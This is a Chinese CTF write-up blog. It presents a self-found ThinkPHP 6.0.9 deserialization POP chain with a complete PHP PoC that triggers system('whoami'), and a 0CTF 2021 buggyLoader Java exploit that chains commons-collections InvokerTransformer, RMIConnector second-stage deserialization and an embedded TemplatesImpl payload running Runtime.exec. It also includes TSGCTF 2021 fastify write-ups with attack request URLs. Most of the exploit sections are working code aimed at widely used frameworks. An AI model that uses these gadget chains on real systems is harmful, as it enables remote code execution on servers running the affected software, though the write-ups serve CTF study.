tp6新pop链

tp6新pop链

周末打西湖有题tp6.0.9的题目,没找到pop链,于是自己挖了一条(后面才知道有现成的能用

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Request.php:1418, think\Request->filterValue()
Request.php:1304, think\Request->filterData()
Request.php:1286, think\Request->input()
Request.php:959, think\Request->get()
Memcache.php:96, think\cache\driver\Memcache->get()
Driver.php:116, think\cache\driver\Memcache->push()
Handler.php:128, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp6\vendor\league\flysystem\src\Handler.php:128}()
Handler.php:128, League\Flysystem\File->__call()
Formatter.php:135, League\Flysystem\File->push()
Formatter.php:135, think\console\output\Formatter->format()
Console.php:56, think\console\output\driver\Console->write()
Output.php:162, think\console\Output->write()
Output.php:151, think\console\Output->writeln()
Output.php:132, think\console\Output->block()
Output.php:222, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp6\vendor\topthink\framework\src\think\console\Output.php:222}()
Output.php:222, think\console\Output->__call()
ChannelSet.php:36, think\console\Output->channel()
ChannelSet.php:36, think\log\ChannelSet->__call()
Conversion.php:272, think\log\ChannelSet->append()
Conversion.php:272, think\model\Pivot->appendAttrToArray()
Conversion.php:251, think\model\Pivot->toArray()
Conversion.php:324, think\model\Pivot->toJson()
Conversion.php:329, think\model\Pivot->__toString()
Model.php:361, think\model\Pivot->db()
Model.php:564, think\model\Pivot->checkAllowFields()
Model.php:620, think\model\Pivot->updateData()
Model.php:535, think\model\Pivot->save()
Model.php:1065, think\model\Pivot->__destruct()

分析

因为看tp6某些部分和tp5还是有些接近的于是参考之前TCTF挖的tp5的链挖了一条

tp5的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Request.php:1090, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{D:\phpStudy\PHPTutorial\WWW\tp5\thinkphp\library\think\console\Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()

顺着这条链看发现缺了__call的部分,于是找形如:$val->xxx()的地方

\think\model\concern\Conversion::appendAttrToArray找到

1
2
3
4
5
6
7
protected function appendAttrToArray(array &$item, $key, $name)
{
...
$item[$key] = $relation ? $relation->append($name)
->toArray() : [];
...
}

但是有个问题这里传入的$name是个数组,而tp5中__call的目标block的参数类型不同,于是我们要找一处可控参数的__call,爆搜__call找到

\think\log\ChannelSet::__call

1
2
3
4
5
6
public function __call($method, $arguments)
{
foreach ($this->channels as $channel) {
$this->log->channel($channel)->{$method}(...$arguments);
}
}

接着调用think\console\Output::__call

继续走下去,tp5中的think\session\driver\Memcache->write在tp6中无了,只能再找一个能跳到get的跳板了

对着write一个一个翻过去发现think\console\output\driver\Console->write调了push方法,而think\cache\driver\Memcache->push的push调用了get从而完成整条利用链

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php

namespace League\Flysystem;
class File{
protected $path="thisispath";
protected $filesystem;
function __construct(){
$this->filesystem = new \think\cache\driver\Memcache();

}
}

namespace think\console\output\driver;
class Console{
private $output;
private $formatter;

function __construct(){
$this->output = new \think\console\Output("another");
$this->formatter = new \think\console\output\Formatter();
}

}
namespace think\console\output;
class Formatter{
private $styles=["channel"=>"style"];
private $styleStack;
function __construct(){
$this->styleStack = new \League\Flysystem\File();
}
}
namespace think\model\concern;

trait Attribute
{
private $data = ["get_parent" => "data"];
private $withAttr = ["get_parent" => "withAttr"];
}
namespace think\cache;
class Driver{

}
namespace think\cache\driver;
class Memcache extends \think\cache\Driver {
protected $handler = null;
function __construct(){
$this->handler =new \think\Request();
}

}

namespace think\session\driver;
class Cache{

}

namespace think\console;

class Output{

private $handle = null;
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
"channel"
];
function __construct($a=""){
if($a!=""){
return;
}

$this->handle = new \think\console\output\driver\Console();
}
}

namespace think\log;
class ChannelSet{
protected $channels;
protected $log;
function __construct($obj,$arg){
$this->log = $obj;
$this->channels = [$arg];
}
}


namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $append = [];
private $relation = [];
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->relation = ["evil_key"=>new \think\log\ChannelSet(new \think\console\Output(),"test")];
if($obj===""){
$this->append=["evil_key"=>["aaa"]];
}
}
}
class Request{
protected $get = ["thisispath"=>"whoami"];
protected $filter="system";
}



namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

后记

看起来参考tp5来挖tp6的方法效率还是有点低的我挖了6小时左右才出来(而且链还挺长的,一点也不优雅,更像是用蛮力做出来的),虽然在比赛的时候就想到肯定有现成的,但是可能因为沉没成本的原因不甘心放弃就在眼前的新pop链(实际上我说出了快10次出来了)。有时候过于依赖之前的成功经验也是一种束缚。

buggyLoader

buggyLoader

参考资料

https://github.com/c014/0CTF-2021-Final-RevengePHP-and-buggyLoader-exp/blob/main/buggyLoader/Poc.java

http://pipinstall.cn/2021/10/01/TCTF2021%E6%80%BB%E5%86%B3%E8%B5%9B2%E8%A7%A3Java%E4%B8%8EBypass%20Shiro550%20ClassLoader.loadClass/

https://hpdoger.cn/2021/10/08/title:%20TCTF2021-final-writeup-1/#bugglyloader

https://xz.aliyun.com/t/7950

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
urls = {URL[35]@5409} 
0 = {URL@5410} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/classes!/"
1 = {URL@5411} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-boot-2.4.4.jar!/"
2 = {URL@5412} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-boot-autoconfigure-2.4.4.jar!/"
3 = {URL@5413} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/logback-classic-1.2.3.jar!/"
4 = {URL@5414} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/logback-core-1.2.3.jar!/"
5 = {URL@5415} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/log4j-to-slf4j-2.13.3.jar!/"
6 = {URL@5416} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/log4j-api-2.13.3.jar!/"
7 = {URL@5417} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jul-to-slf4j-1.7.30.jar!/"
8 = {URL@5418} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jakarta.annotation-api-1.3.5.jar!/"
9 = {URL@5419} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/snakeyaml-1.27.jar!/"
10 = {URL@5420} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/thymeleaf-spring5-3.0.12.RELEASE.jar!/"
11 = {URL@5421} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/thymeleaf-3.0.12.RELEASE.jar!/"
12 = {URL@5422} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/attoparser-2.0.5.RELEASE.jar!/"
13 = {URL@5423} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/unbescape-1.1.6.RELEASE.jar!/"
14 = {URL@5424} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/slf4j-api-1.7.30.jar!/"
15 = {URL@5425} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/thymeleaf-extras-java8time-3.0.4.RELEASE.jar!/"
16 = {URL@5426} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-databind-2.11.4.jar!/"
17 = {URL@5427} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-annotations-2.11.4.jar!/"
18 = {URL@5428} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-core-2.11.4.jar!/"
19 = {URL@5429} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-datatype-jdk8-2.11.4.jar!/"
20 = {URL@5430} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-datatype-jsr310-2.11.4.jar!/"
21 = {URL@5431} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jackson-module-parameter-names-2.11.4.jar!/"
22 = {URL@5432} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/tomcat-embed-core-9.0.44.jar!/"
23 = {URL@5433} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/jakarta.el-3.0.3.jar!/"
24 = {URL@5434} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/tomcat-embed-websocket-9.0.44.jar!/"
25 = {URL@5435} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-web-5.3.5.jar!/"
26 = {URL@5436} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-beans-5.3.5.jar!/"
27 = {URL@5437} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-webmvc-5.3.5.jar!/"
28 = {URL@5438} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-aop-5.3.5.jar!/"
29 = {URL@5439} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-context-5.3.5.jar!/"
30 = {URL@5440} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-expression-5.3.5.jar!/"
31 = {URL@5441} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-core-5.3.5.jar!/"
32 = {URL@5442} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-jcl-5.3.5.jar!/"
33 = {URL@5443} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/commons-collections-3.2.1.jar!/"
34 = {URL@5444} "jar:file:/opt/app/buggyloader.jar!/BOOT-INF/lib/spring-boot-jarmode-layertools-2.4.4.jar!/"

题目分析

给了个Jar包,把源文件搞出来一下,配一下调试环境

1
2
3
4
5
6
7
8
9
10
11
public class IndexController {
@RequestMapping({"/buggy"})
public String index(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);//
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);//ObjectInputStream干啥的,使用ObjectInputStream来读取一些元数据
objectInputStream.readObject();

return "index";
}
}

题目很简单就一个反序列化(删除了一些代码)

MyObjectInputStream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}

protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println(desc.getName());
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

这就是全部的代码了

这题还是考之前的shiro反序列化利用过程中遇到Shiro重写了 resolveClass 的实现

关于这个的分析文章可以参考

https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

https://blog.zsxsoft.com/post/35

https://xz.aliyun.com/t/7950

sink:二次反序列化

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
findRMIServerJRMP:2007, RMIConnector (javax.management.remote.rmi) //二次反序列化触发点
findRMIServer:1924, RMIConnector (javax.management.remote.rmi)
connect:287, RMIConnector (javax.management.remote.rmi)
connect:249, RMIConnector (javax.management.remote.rmi)// 进入rmi
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:126, InvokerTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)//反序列化起点

这一解给了一个新的sink点

通过cc链来调javax.management.remote.rmi.RMIConnector.connect从而完成二次反序列化

二次反序列化的触发过程

触发点是javax.management.remote.rmi.RMIConnector.connect,他回去解析jmxServiceURL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public synchronized void connect(Map<String,?> environment)
throws IOException {
...

try {
...
RMIServer stub = (rmiServer!=null)?rmiServer:
findRMIServer(jmxServiceURL, usemap);

// Check for secure RMIServer stub if the corresponding
// client-side environment property is set to "true".
//
...
} catch (IOException e) {
...
}
}

进入findRMIServer,接着进入findRMIServerJRMP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment)
throws NamingException, IOException {
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);
if (isIiop) {
// Make sure java.naming.corba.orb is in the Map.
environment.put(EnvHelp.DEFAULT_ORB,resolveOrb(environment));
}

String path = directoryURL.getURLPath();
int end = path.indexOf(';');
if (end < 0) end = path.length();
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
else if (path.startsWith("/stub/"))
return findRMIServerJRMP(path.substring(6,end), environment, isIiop);//进入findRMIServerJRMP
else if (path.startsWith("/ior/")) {
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");
return findRMIServerIIOP(path.substring(5,end), environment, isIiop);
} else {
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}

在findRMIServerJRMP触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {
// could forbid "iiop:" URL here -- but do we need to?
final byte[] serialized;
try {
serialized = base64ToByteArray(base64);
} catch (IllegalArgumentException e) {
throw new MalformedURLException("Bad BASE64 encoding: " +
e.getMessage());
}
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();// look here
} catch (ClassNotFoundException e) {
throw new MalformedURLException("Class not found: " + e);
}
return (RMIServer)stub;
}

从而绕过限定URLClassLoader的尴尬限制

调用connect

接着就是ccx的老链了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
transform:126, InvokerTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)

HashSet::readObject->HashMap::put->HashMap::hash->TiedMapEntry::hashCOde->TiedMapEntry::getValue->LazyMap::get->Transformer::transform

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.yxxx.buggyLoader;

/**
* @author : ccreater
* @ClassName : com.yxxx.buggyLoader.Poc
* @Description : 类描述
* @date : 2021-11-19 14:09 Copyright 2021 ccreater. All rights reserved.
*/
import org.apache.catalina.deploy.NamingResourcesImpl;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.attoparser.ParseException;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.security.auth.message.AuthException;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpFilter;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.*;



public class Poc {
public static void main(String[] args) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

Constructor con = InvokerTransformer.class.getDeclaredConstructor(String.class);
con.setAccessible(true);
// need a public method
InvokerTransformer transformer = (InvokerTransformer) con.newInstance("connect");

// rO0A.. from Temp.java
JMXServiceURL jurl = new JMXServiceURL("service:jmx:rmi://c014:37777/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv"
+ "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB"
+ "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4"
+ "cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0"
+ "ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0"
+ "ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2"
+ "YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGll"
+ "czt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAA"
+ "AozK/rq+AAAANAAkCgADAA8HABEHABIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJl"
+ "clRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC1N0YXRpY0Jsb2NrAQAMSW5uZXJD"
+ "bGFzc2VzAQAnTGNvbS95eHh4L2J1Z2d5TG9hZGVyL1RlbXAkU3RhdGljQmxvY2s7AQAKU291cmNl"
+ "RmlsZQEACVRlbXAuamF2YQwABAAFBwATAQAlY29tL3l4eHgvYnVnZ3lMb2FkZXIvVGVtcCRTdGF0"
+ "aWNCbG9jawEAEGphdmEvbGFuZy9PYmplY3QBABljb20veXh4eC9idWdneUxvYWRlci9UZW1wAQBA"
+ "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RU"
+ "cmFuc2xldAcAFAoAFQAPAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAGAEACmdldFJ1"
+ "bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABoAGwoAGQAcAQAQdG91Y2ggL3RtcC9mdWNr"
+ "IAgAHgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMACAA"
+ "IQoAGQAiACEAAgAVAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABaxAAAAAgAHAAAABgAB"
+ "AAAAFAAIAAAADAABAAAABQAJAAwAAAAIABcABQABAAYAAAAWAAIAAAAAAAq4AB0SH7YAI1exAAAA"
+ "AAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJcHQABG5hbWVwdwEAeHNyACpvcmcuYXBhY2hlLmNv"
+ "bW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3Jn"
+ "L2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUu"
+ "Y29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIA"
+ "A1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAlbAAtpUGFy"
+ "YW1UeXBlc3EAfgAIeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAO"
+ "bmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABzcgAR"
+ "amF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9A"
+ "AAAAAAAAdwgAAAAQAAAAAHh4eA==");

Map hashMapp = new HashMap();
RMIConnector rc = new RMIConnector(jurl,hashMapp);

Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rc);


HashSet hashSet = new HashSet(1);
hashSet.add("c014");
Field fmap = hashSet.getClass().getDeclaredField("map");
fmap.setAccessible(true);
HashMap innimpl = (HashMap) fmap.get(hashSet);
Field ftable = hashMap.getClass().getDeclaredField("table");
ftable.setAccessible(true);
Object[] nodes =(Object[])ftable.get(innimpl);
Object node = nodes[1];
Field fnode = node.getClass().getDeclaredField("key");
fnode.setAccessible(true);
fnode.set(node, tiedMapEntry);


oos.writeUTF("0CTF/TCTF");
oos.writeInt(2021);
oos.writeObject(hashSet);
oos.close();

byte[] exp = baos.toByteArray();
String data = com.yxxx.buggyLoader.Utils.bytesTohexString(exp);
System.out.println(data);


}
}

openConnection盲注flag

https://github.com/ceclin/0ctf-2021-finals-soln-buggy-loader/blob/main/app/src/main/kotlin/ccl/Blind.kt

自己看writeup.jpg

TSGCTF 2021

TSGCTF 2021

这个比赛感觉挺好的

Welcome to TSG CTF!

代码很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const {promises: fs} = require('fs');
const fastify = require('fastify');

const flag = process.env.FLAG || 'DUMMY{DUMMY}';

const app = fastify();
app.get('/', async (_, res) => {
res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
if (typeof req.body === 'object' && req.body[flag] === true) {
return res.send(`Nice! flag is ${flag}`);
}
return res.send(`You failed...`);
});

app.listen(34705, '0.0.0.0');

程序是要我们猜对flag然后给个flag,但是如果我们知道flag,为啥不直接提交嘞

题目开启着报错

测试一波JSON中的类型那些是object后,得到:null,[],{}

然后req.body==null的话报错下就知道flag了,2333

Beginner’s Web 2021

出题人说这是刚学习ctf的人3小时就能做出来的题目,2333,直到比赛结束我也没做出来

代码也很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const {promises: fs} = require('fs');
const crypto = require('crypto');
const fastify = require('fastify');

const app = fastify();
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {
secret: Math.random().toString(2),
cookie: {secure: false},
});

const sessions = new Map();

const setRoutes = async (session, salt) => {
const index = await fs.readFile('index.html');

session.routes = {
flag: () => '*** CENSORED ***',
index: () => index.toString(),
scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
base64: (input) => Buffer.from(input).toString('base64'),
set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
},
[salt]: () => salt,
};

return session.routes;
};

app.get('/', async (request, reply) => {
if (!sessions.has(request.session.sessionId)) {
sessions.set(request.session.sessionId, {});
}

const session = sessions.get(request.session.sessionId);

if (!session.salt) {
session.salt = '';
}
if (!session.routes) {
await setRoutes(session, '');
}

const {action, data} = request.query || {};

let route;
switch (action) {
case 'Scrypt': route = 'scrypt'; break;
case 'Base64': route = 'base64'; break;
case 'SetSalt': route = 'set_salt'; break;
case 'GetSalt': route = session.salt; break;
default: route = 'index'; break;
}

reply.type('text/html')
return session.routes[route](data);
});

app.listen(59101, '0.0.0.0');

阅读一遍代码发现一处很明显的漏洞点:case 'GetSalt': route = session.salt; break;

接着会直接调用session.routes[route](data);

但是因为

1
2
3
4
5
6
7
8
9
10
11
12
session.routes = {
flag: () => '*** CENSORED ***',
index: () => index.toString(),
scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
base64: (input) => Buffer.from(input).toString('base64'),
set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
},
[salt]: () => salt,
};

所以如果salt是存在的键的话,就会覆盖原来的值

继续阅读代码:

session.salt和session.routes.[salt]不是同时赋值的,如果能让session.salt = salt;赋值失败的话,就可以利用上次的salt来访问flag路由了

如果session.routes = await setRoutes(session, salt);是个耗时操作的话可以试试条件竞争,但是很明显不可能的

或者如果能让session.routes = await setRoutes(session, salt);执行之后就退出呢?

到这里我们也只能去了解await的实现

我也不怎么了解await的原理,看了wp之后惊为天人

await的实现可以参考这篇文章

https://segmentfault.com/a/1190000022638499

快一点的话就直接看官方wp的说明

The key is set_salt function. Normally, it updates routes and salt together.

1
2
3
4
5
>set_salt: async (salt) => {
session.routes = await setRoutes(session, salt);
session.salt = salt;
return 'ok';
>},

What if line 2 is executed but line 3 is NEVER executed? It is possible.

In line 2, we are await-ing the execution of setRoutes function. Do you know async/await in ECMAScript is just a syncax sugar of Promise? So, we can transform this function to the following equivalent code.

1
2
3
4
5
6
7
>set_salt: (salt) => {
return setRoutes(session, salt).then((result) => {
session.routes = result;
session.salt = salt;
return 'ok';
});
>},

The key is that the code is calling the chained method then() from the returned value of setRoutes function. What is the return value of this function?

1
2
3
4
5
6
7
8
9
10
>const setRoutes = async (session, salt) => {
const index = await fs.readFile('index.html');

session.routes = {
// redacted
[salt]: () => salt,
};

return session.routes;
>};

It is returning the result of session.routes. This is unnecessary since the assignment to session.route is already done.

Okay, we can control this value by salt parameter. What if we set salt = 'then'? It will return the following object.

1
2
3
4
>{
// redacted
then: () => salt,
>}

As you can infer from the above code, this then method will be called with callback function as an argument. If the function is called, the returned value is considered to be resolve-ed and the process continues. But, this then() method is just ignoring the argument and the function is never called.

So, by setting salt = 'then', the assignment to session.routes happens inside setRoutes function, but setRoute function is not resolved and the assignment to session.salt never happens.

So, send GET /?action=SetSalt&data=then to server and this will result in the following session state.

1
2
3
4
5
6
7
8
9
>session = {
routes: {
flag: ...,
index: ...,
...
then: ...,
},
salt: 'flag',
>}

This is what we want to achieve!

简而言之await是个语法糖,会去调用返回值的then方法,如果返回值没有then方法的话就会调用原型的then方法,

于是我们只要添加then方法就可以代替Promise.then方法了

于是乎:

1
2
3
/?action=SetSalt&data=flag
/?action=SetSalt&data=then
/?action=GetSalt

这样就拿到flag拉

Udon

审一审代码,代码还是很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
